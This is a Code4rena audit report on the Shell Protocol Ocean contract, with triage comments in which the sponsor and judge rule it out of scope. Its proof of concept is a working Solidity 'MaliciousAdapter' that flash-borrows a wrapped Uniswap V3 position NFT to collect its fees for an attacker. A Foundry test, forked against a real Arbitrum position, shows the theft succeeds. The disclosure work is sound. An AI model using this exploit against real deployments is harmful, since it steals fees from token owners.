Anyone can use utility functions of the tokens that were wrapped using the `Ocean`

[c4-bot-6]

Lines of code

https://github.com/code-423n4/2023-11-shellprotocol/blob/485de7383cdf88284ee6bcf2926fb7c19e9fb257/src/ocean/Ocean.sol#L745

Vulnerability details

The Ocean contract allows to flashloan any tokens that were transferred to the Ocean contract. For example, this interaction allows adapter to use wrappedToken in any way provided he returns them afterward:

Interaction memory computeOutputAmount = Interaction({
    interactionTypeAndAddress: _fetchInteractionId(address(adapter), uint256(InteractionType.ComputeOutputAmount)),
    inputToken: wrappedToken,
    outputToken: wrappedToken,
    specifiedAmount: 1,
    metadata: bytes32(tokenId)
});

It might be fine for some tokens but not in general. Some tokens might have utility functions that should be accessible only to the owners of the tokens. It can be some governance, membership, or economic features of the tokens. For example, the owner of the Uniswap V3 position can claim fees and this function should not be accessible to everyone. The current implementation of the Ocean allows anyone to use these functions.

Impact

Anyone can use the utility functions of any tokens owned by the Ocean.

Proof of Concept

To illustrate this let's consider the following implementation of the malicious adapter. It was mentioned that malicious adapters are out of scope but this implementation allows to harm not the caller but the other users. This adapter basically allows to collect Uniswap V3 fees without the owner's permission.

// SPDX-License-Identifier: MIT

pragma solidity 0.8.20;

import {IOceanPrimitive} from "../../../ocean/IOceanPrimitive.sol";
import {Ocean} from "../../../ocean/Ocean.sol";
import {Interaction, InteractionType} from "../../../ocean/Interactions.sol";
import {IERC721} from "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import {IERC721Receiver} from "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import {IERC1155Receiver} from "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol";
import {console} from "forge-std/console.sol";

interface INonfungiblePositionManager {
    struct CollectParams {
        uint256 tokenId;
        address recipient;
        uint128 amount0Max;
        uint128 amount1Max;
    }   

    function collect(CollectParams calldata params) external returns (uint256 amount0, uint256 amount1);
}

contract MaliciousAdapter is IOceanPrimitive, IERC721Receiver, IERC1155Receiver {
    address user;
    Ocean public immutable ocean;
    address uniswapV3PositionManager;
    uint256 tokenId;

    constructor(address _user, address _ocean, address _uniswapV3PositionManager, uint256 _tokenId) {
        user = _user;
        ocean = Ocean(_ocean);
        uniswapV3PositionManager = _uniswapV3PositionManager;
        tokenId = _tokenId;
    }

    function computeOutputAmount(
        uint256 inputToken,
        uint256,
        uint256,
        address,
        bytes32
    ) external returns (uint256 outputAmount) {
        _unwrapErc721(inputToken);
        INonfungiblePositionManager(uniswapV3PositionManager).collect(
            INonfungiblePositionManager.CollectParams({
                tokenId: tokenId,
                recipient: user,
                amount0Max: type(uint128).max,
                amount1Max: type(uint128).max
            })
        );
        _wrapErc721();
        return 1;
    }

    function _unwrapErc721(uint256 wrappedToken) internal {
        Interaction memory unwrap = Interaction({
            interactionTypeAndAddress: _fetchInteractionId(uniswapV3PositionManager, uint256(InteractionType.UnwrapErc721)),
            inputToken: wrappedToken,
            outputToken: 0,
            specifiedAmount: 1,
            metadata: bytes32(tokenId)
        });
        ocean.doInteraction(unwrap);
    }

    function _wrapErc721() internal {
        Interaction memory wrap = Interaction({
            interactionTypeAndAddress: _fetchInteractionId(uniswapV3PositionManager, uint256(InteractionType.WrapErc721)),
            inputToken: 0,
            outputToken: 0,
            specifiedAmount: 1,
            metadata: bytes32(tokenId)
        });
        IERC721(uniswapV3PositionManager).approve(address(ocean), tokenId);
        ocean.doInteraction(wrap);
    }

    function _fetchInteractionId(address token, uint256 interactionType) internal pure returns (bytes32) {
        uint256 packedValue = uint256(uint160(token));
        packedValue |= interactionType << 248;
        return bytes32(abi.encode(packedValue));
    }

    function computeInputAmount(uint256,uint256,uint256,address,bytes32) external returns (uint256 inputAmount) {
        revert("not implemented");
    }

    function getTokenSupply(uint256) external view returns (uint256) {
        revert("not implemented");
    }

    function supportsInterface(bytes4 interfaceId) external view override returns (bool) {}

    function onERC1155BatchReceived(address,address,uint256[] calldata,uint256[] calldata,bytes calldata) external override returns (bytes4) {
        return IERC1155Receiver.onERC1155BatchReceived.selector;
    }

    function onERC721Received(address, address, uint256, bytes calldata) external view override returns (bytes4) {
        return IERC721Receiver.onERC721Received.selector;
    }

    function onERC1155Received(address,address,uint256,uint256,bytes calldata) external view override returns (bytes4) {
        return IERC1155Receiver.onERC1155Received.selector;
    }
}

The test below illustrates that anyone can claim Uniswap V3 fees without the owner's permission.

// SPDX-License-Identifier: MIT

pragma solidity 0.8.20;

import {Test} from "forge-std/Test.sol";
import {console} from "forge-std/console.sol";
import {Interaction, InteractionType} from "../../ocean/Interactions.sol";
import {Ocean} from "../../ocean/Ocean.sol";
import {IERC721} from "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {MaliciousAdapter} from "./malicious/MaliciousAdapter.sol";

contract TestAudit is Test {

    address owner = makeAddr("owner");
    address uniswapV3PositionManager = 0xC36442b4a4522E871399CD717aBDD847Ab11FE88;
    address token0 = 0x912CE59144191C1204E64559FE8253a0e49E6548;
    address token1 = 0xaf88d065e77c8cC2239327C5EDb3A432268e5831;
    address positionOwner = 0xC99B242b9F38cC0F59EebD29Ad2E352925Ddb0Ec;
    address maliciousUser = makeAddr("malicious");
    uint256 tokenId = 963580;
    Ocean ocean;
    MaliciousAdapter adapter;

    function setUp() public {
        vm.createSelectFork("https://arb1.arbitrum.io/rpc", 158047494);
        vm.prank(owner);
        ocean = new Ocean("");
        adapter = new MaliciousAdapter(maliciousUser, address(ocean), uniswapV3PositionManager, tokenId);
    }

    function testUnauthorizedUsingOfUtilityFunctionOfNFT() public {
        // We assume that token holder wrapped his token using Ocean
        uint256 wrappedToken = _wrapErc721(positionOwner, uniswapV3PositionManager, tokenId);

        // Malicious user flashloans wrapped token and uses it in his adapter to claim uniswap v3 fees
        Interaction memory computeOutputAmount = Interaction({
            interactionTypeAndAddress: _fetchInteractionId(address(adapter), uint256(InteractionType.ComputeOutputAmount)),
            inputToken: wrappedToken,
            outputToken: wrappedToken,
            specifiedAmount: 1,
            metadata: bytes32(tokenId)
        });
        Interaction[] memory interactions = new Interaction[](1);
        interactions[0] = computeOutputAmount;

        uint256[] memory ids = new uint256[](1);
        ids[0] = wrappedToken; 

        uint256 token0Before = IERC20(token0).balanceOf(maliciousUser);
        uint256 token1Before = IERC20(token1).balanceOf(maliciousUser);

        vm.prank(maliciousUser);
        ocean.doMultipleInteractions(interactions, ids);

        // Malicious user successfully claimed uniswap v3 fees
        uint256 token0After = IERC20(token0).balanceOf(maliciousUser);
        uint256 token1After = IERC20(token1).balanceOf(maliciousUser);
        assertTrue(token0After > token0Before || token1After > token1Before);
    }

    function _wrapErc721(address holder, address collection, uint256 tokenId) internal returns (uint256) {
        Interaction memory wrap = Interaction({
            interactionTypeAndAddress: _fetchInteractionId(collection, uint256(InteractionType.WrapErc721)),
            inputToken: 0,
            outputToken: 0,
            specifiedAmount: 1,
            metadata: bytes32(tokenId)
        });

        vm.startPrank(holder);
        IERC721(collection).approve(address(ocean), tokenId);
        (, , uint256 mintId, ) = ocean.doInteraction(wrap);
        vm.stopPrank();
        return mintId;
    }

    function _fetchInteractionId(address token, uint256 interactionType) internal pure returns (bytes32) {
        uint256 packedValue = uint256(uint160(token));
        packedValue |= interactionType << 248;
        return bytes32(abi.encode(packedValue));
    }
}

Tools Used

Manual Review

Recommended Mitigation Steps

Consider informing users that any tokens that have utility functions should not be wrapped using the Ocean contract.

Assessed type

Other

[c4-pre-sort]

raymondfam marked the issue as sufficient quality report

[c4-pre-sort]

raymondfam marked the issue as primary issue

[raymondfam]

May be OOS since all possible attack paths should be directed to the in-scope Curve adapters.

[c4-sponsor]

viraj124 (sponsor) disputed

[c4-sponsor]

viraj124 marked the issue as disagree with severity

[viraj124]

this would come under the category of malicious adapters we mentioned in the known issues, once we allow adapters to be deployed in permissionless way then users are responsible for interacting with these type of malicious primitives so would mark this as qa at best

[c4-judge]

0xA5DF marked the issue as unsatisfactory: Out of scope

[0xA5DF]

It was mentioned that malicious adapters are out of scope but this implementation allows to harm not the caller but the other users.

I agree with the sponsor, I don't see why this should be an exception to the known issue